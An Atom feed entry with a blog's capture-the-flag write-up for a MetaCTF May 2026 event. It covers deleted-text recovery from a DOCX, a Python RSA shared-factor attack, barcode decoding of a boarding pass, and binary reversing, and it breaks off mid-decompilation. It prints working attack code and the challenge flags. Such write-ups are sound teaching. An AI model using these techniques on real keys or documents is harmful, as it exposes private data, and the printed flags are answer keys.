<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>psypherpunk::blog</title>
    <link rel="self" type="application/atom+xml" href="https://blog.psypherpunk.io/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-05-28T00:00:00+00:00</updated>
    <id>https://blog.psypherpunk.io/atom.xml</id>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF May 2026 Flash CTF</title>
        <published>2026-05-28T00:00:00+00:00</published>
        <updated>2026-05-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-may-2026-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-may-2026-flash-ctf/</id>
        
        <content type="html" xml:base="https://blog.psypherpunk.io/blog/metactf-may-2026-flash-ctf/">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A free monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training, TCM Security, and Simply Cyber Academy. There will be 5
or more challenges and you will have 2 hours to solve as many as you can.
This CTF will include both beginner and difficult challenges.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;may2026&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;may2026&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;paper-trail&quot;&gt;Paper Trail&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A Harlow &amp;amp; Dent consultant sent an audit report to their client back in
November, but the original draft had a section that wasn’t meant to go out.
Thankfully, they deleted it before sending.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;879c6daeda816be23455f923f74c6634&#x2F;report.docx&quot;&gt;Download the report&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;DOCX files are just ZIP files:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; unzip report.docx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Archive:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;  report.docx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;  inflating:&lt;&#x2F;span&gt;&lt;span&gt; [Content_Types].xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;  inflating:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; _rels&#x2F;.rels&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;  inflating:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; word&#x2F;_rels&#x2F;document.xml.rels&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;  inflating:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; word&#x2F;document.xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;  inflating:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; word&#x2F;settings.xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;  inflating:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; docProps&#x2F;core.xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…and right there in the contents:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;ctf&#x2F;metactf&#x2F;2026-05-may&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; rg Meta .&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;.&#x2F;word&#x2F;document.xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;94:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;w:&lt;&#x2F;span&gt;&lt;span&gt;r&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;w:delText xml:space=&amp;quot;preserve&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;Staging access token&lt;&#x2F;span&gt;&lt;span&gt; (rotate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; after handoff&lt;&#x2F;span&gt;&lt;span&gt;): MetaCTF{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;tr4ck3d_ch4ng3s_4r3nt_r34lly_g0n3}&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;w:delText&amp;gt;&amp;lt;&#x2F;w:r&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;common-ground&quot;&gt;Common Ground&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Vantara Systems runs two internal servers, each with its own RSA keypair.
Both public keys were published to an internal certificate log. We also
intercepted a message encrypted with server 1’s key.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;136066c2d30aa634cda45eb8e5914bb0&#x2F;n1.txt&quot;&gt;n1.txt&lt;&#x2F;a&gt;
server 1 modulus&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;136066c2d30aa634cda45eb8e5914bb0&#x2F;n2.txt&quot;&gt;n2.txt&lt;&#x2F;a&gt;
server 2 modulus&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;136066c2d30aa634cda45eb8e5914bb0&#x2F;e.txt&quot;&gt;e.txt&lt;&#x2F;a&gt;
public exponent (same for both)&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;136066c2d30aa634cda45eb8e5914bb0&#x2F;flag.enc&quot;&gt;flag.enc&lt;&#x2F;a&gt;
ciphertext, encrypted with server 1’s key&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Given the name, this is likely a Common Factor (GCD) attack.&lt;&#x2F;p&gt;
&lt;p&gt;So &lt;code&gt;n1&lt;&#x2F;code&gt; and &lt;code&gt;n2&lt;&#x2F;code&gt; likely share a common factor; if &lt;code&gt;gcd(n1, n2) != 1&lt;&#x2F;code&gt;, &lt;code&gt;p&lt;&#x2F;code&gt; can
be recovered and both keys factored:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; import&lt;&#x2F;span&gt;&lt;span&gt; math&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; n1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;n1.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).read().strip())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; n2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;n2.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).read().strip())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;e.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).read().strip())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; ct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;flag.enc&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).read().strip(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  =&lt;&#x2F;span&gt;&lt;span&gt; math.gcd(n1, n2)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; q1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; n1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; pow&lt;&#x2F;span&gt;&lt;span&gt;(e,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, (p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; (q1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; pow&lt;&#x2F;span&gt;&lt;span&gt;(ct, d, n1)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;... print&lt;&#x2F;span&gt;&lt;span&gt;(m.to_bytes((m.bit_length()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;quot;big&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).decode())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MetaCTF{sh4r3d_f4ct0rs_s1nk_b0th_k3ys}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;boarding-school&quot;&gt;Boarding School&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;We bought a bunch of airport trash cans on auction, and there were some old
boarding passes in the bottom of them. Can you extract the booking reference
number from this boarding pass? For example, submit &lt;code&gt;MetaCTF{ABC123}&lt;&#x2F;code&gt;. Click
the image to open it in a new tab.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;boarding-pass.png&quot; alt=&quot;boarding-pass.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The barcode on the left is a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;PDF417&quot;&gt;PDF417&lt;&#x2F;a&gt;
barcode. Throwing the URL of the image straight into
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;zxing.org&#x2F;w&#x2F;decode.jspx&quot;&gt;ZXing Decoder Online&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; reveals:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;M1WANG&#x2F;SIHYAO         E5RUYUF NRTTPEJL 8663 001Y016G0057 348&amp;gt;3180 K4366BJL 01315825980012913163536830360 JL CX 1830035232          8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The flag is &lt;code&gt;MetaCTF{E5RUYUF}&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;final-state&quot;&gt;Final State&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;This token validator only grants access to one specific input. You don’t
have the source code.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Download the binary
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;6d5b04b4901004c59026d1f1517c3b89&#x2F;final_state&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The decompiled code is pretty small; most of the logic lives in main, starting
with populating a big table, zeroing it out and settings hard-coded addresses
in said table with equally hard-coded values:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;int32_t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;int32_t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; argc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; char**&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; argv&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; char**&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; envp&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;    void*&lt;&#x2F;span&gt;&lt;span&gt; fsbase;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;    int64_t&lt;&#x2F;span&gt;&lt;span&gt; rbp &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;(fsbase &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+ 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;28&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    memset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;data_404080,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;8000&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_404fb4 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_405a14 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_404850 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;2d&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_409c04 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;1d&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_407b8c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_4065d0 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;37&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40af98 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;3e&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40be6c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40524c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;22&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_408650 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_406350 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;29&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_409450 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40454c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;3c&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40ba4c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_4073fc &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_405750 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;2f&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_40a048 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_404b4c &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;26&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data_408dfc &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;= 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
